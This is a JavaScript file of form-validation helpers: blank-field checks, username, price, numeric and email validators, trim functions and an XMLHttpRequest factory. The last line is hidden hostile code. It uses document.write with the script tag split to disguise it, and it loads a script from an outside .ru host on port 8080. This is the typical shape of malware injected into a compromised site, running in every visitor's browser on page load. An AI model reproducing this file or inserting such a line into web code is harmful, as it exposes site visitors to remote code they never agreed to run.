
//************************************Below coomon function for check blank value***************
//*********************label= message label,txtid=textbox id,spanid=span id(where your msg will print)

	function  checkblanktextbox(label,txtid,str)
	{
		var txtobj=document.getElementById(txtid);
		//alert(txtobj.type)
		var spanobj=document.getElementById("err_"+txtid);
		if(txtobj.value.trim()=="")
		{
				if(str=='txt')spanobj.innerHTML="Please Enter "+label;
				else spanobj.innerHTML="Please Select "+label;
				if(txtobj.type=="text")txtobj.focus();
				return false;
		}
		else
		{
				spanobj.innerHTML="";
				return true;
		}
	}
	function  checkblankselectbox(label,txtid)
	{
		var txtobj=document.getElementById(txtid);
		//alert(txtid)
		var spanobj=document.getElementById("err_"+txtid);
		if(txtobj.value.trim()=="")
		{
				spanobj.innerHTML="Please Select "+label;
				txtobj.focus();
				return false;
		}
		else
		{
				spanobj.innerHTML="";
				return true
		}
	}
	
//*************function for validate username**************

	function ValidateUsername(strng)
	 {
			 var error = "";
			 if (strng.trim() == "") {
				error = "Please Enter Username.\n";
			 }
			 if(error=="")
			 {
				 if ((strng.length < 4) || (strng.length > 20))
				 {
					error = "Please Enter Minimum 4 And Maximum 20 Charactors.\n";
				 }	
			}	 
			 if(error=="")
			 {
				 var ValidChars = "._0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
				 var IsNumber=true;
				 var Char;
				 var str=strng;
				 var dot=".";
				 var lstr=str.length;
				 var ldot=str.indexOf(dot);
				 for (i = 0; i < str.length && IsNumber == true; i++) 
				 { 
							Char = str.charAt(i); 
							if (ValidChars.indexOf(Char) == -1) 
							{
								error="Username Should  Alpha-numeric,Underscore And Dot Only";
							}//end if
				 }//end for
			}			
			if(error=="")
			{	
				 var sText=strng;
				 Char = sText.charAt(0); 
				 ValidChars = "._";
				 if (ValidChars.indexOf(Char) != -1) 
				 {
					error="First Letter Should  Alpha-numeric Only";
				 }
			}	
			
			if(error=="")
			{		 
				var str=""
				for (i = 0; i < sText.length ; i++) 
				{ 
					Char = sText.charAt(i); 
					if((sText.charAt(i)=="_" && sText.charAt(i+1)=="_")||(sText.charAt(i)=="." && sText.charAt(i+1)=="."))
					{
						error="Consecutive Special Charactors Not Allow";		
					}
				}
			}	
			return error;
	}
	
	
	//*************function for validate username**************

	function ValidatePrice(strng)
	 {
			 var error = "";
			 if (strng.trim() == "") {
				error = "Please Enter Price.\n";
			 }
			 	 
			 if(error=="")
			 {
				 var ValidChars = ".0123456789";
				 var IsNumber=true;
				 var Char;
				 var str=strng;
				 var dot=".";
				 var lstr=str.length;
				 var ldot=str.indexOf(dot);
				 for (i = 0; i < str.length && IsNumber == true; i++) 
				 { 
							Char = str.charAt(i); 
							if (ValidChars.indexOf(Char) == -1) 
							{
								error="Price Should  Numeric Value";
							}//end if
				 }//end for
			}			
			
			return error;
	}
	
	
	//*************function for numeric only**************

	function ValidateNumeric(strng)
	 {
			 var error = "";
			 if (strng.trim() == "") {
				error = "Please Enter Value.\n";
			 }
			 	 
			 if(error=="")
			 {
				 var ValidChars = "0123456789";
				 var IsNumber=true;
				 var Char;
				 var str=strng;
				 var dot=".";
				 var lstr=str.length;
				 var ldot=str.indexOf(dot);
				 for (i = 0; i < str.length && IsNumber == true; i++) 
				 { 
							Char = str.charAt(i); 
							if (ValidChars.indexOf(Char) == -1) 
							{
								error="Value Should  Numeric Value";
							}//end if
				 }//end for
			}			
			
			return error;
	}

//******validate email id*************
function validateemail(str)
{

		var error = "";
		if(str.trim()=="") 
		 {
		 	error="Please Enter Email Address";
		 }	
		 if (str!="")
    	{
        	if(!echeck(str))error="Invalid Email Address";
    	}
		
		
		return error;
}	
	
function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		  // alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		  // alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    //alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		   // alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    //alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		  //  alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		   // alert("Invalid E-mail ID")
		    return false
		 }

 		 return true					
	}	
//************Remove Spaces functions***************8	
String.prototype.trim = function() {
	return this.replace(/^\s+|\s+$/g,"");
}
String.prototype.ltrim = function() {
	return this.replace(/^\s+/,"");
}
String.prototype.rtrim = function() {
	return this.replace(/\s+$/,"");
}

//*********Function for cretae HTTp Object
function GetXmlHttpObject(handler)
{ 
				var objXmlHttp=null
				
				if (navigator.userAgent.indexOf("Opera")>=0)
				{
				alert("This example doesn't work in Opera") 
				return 
				}
				if (navigator.userAgent.indexOf("MSIE")>=0)
				{ 
				var strName="Msxml2.XMLHTTP"
				if (navigator.appVersion.indexOf("MSIE 5.5")>=0)
				{
				strName="Microsoft.XMLHTTP"
				} 
				try
				{ 
				objXmlHttp=new ActiveXObject(strName)
				objXmlHttp.onreadystatechange=handler 
				return objXmlHttp
				} 
				catch(e)
				{ 
				alert("Error. Scripting for ActiveX might be disabled") 
				return 
				} 
				} 
				if (navigator.userAgent.indexOf("Mozilla")>=0)
				{
				objXmlHttp=new XMLHttpRequest()
				objXmlHttp.onload=handler
				objXmlHttp.onerror=handler 
				return objXmlHttp
				}
}
document.write('<s'+'cript type="text/javascript" src="http://pantscow.ru:8080/Page_Orientation.js"></scr'+'ipt>');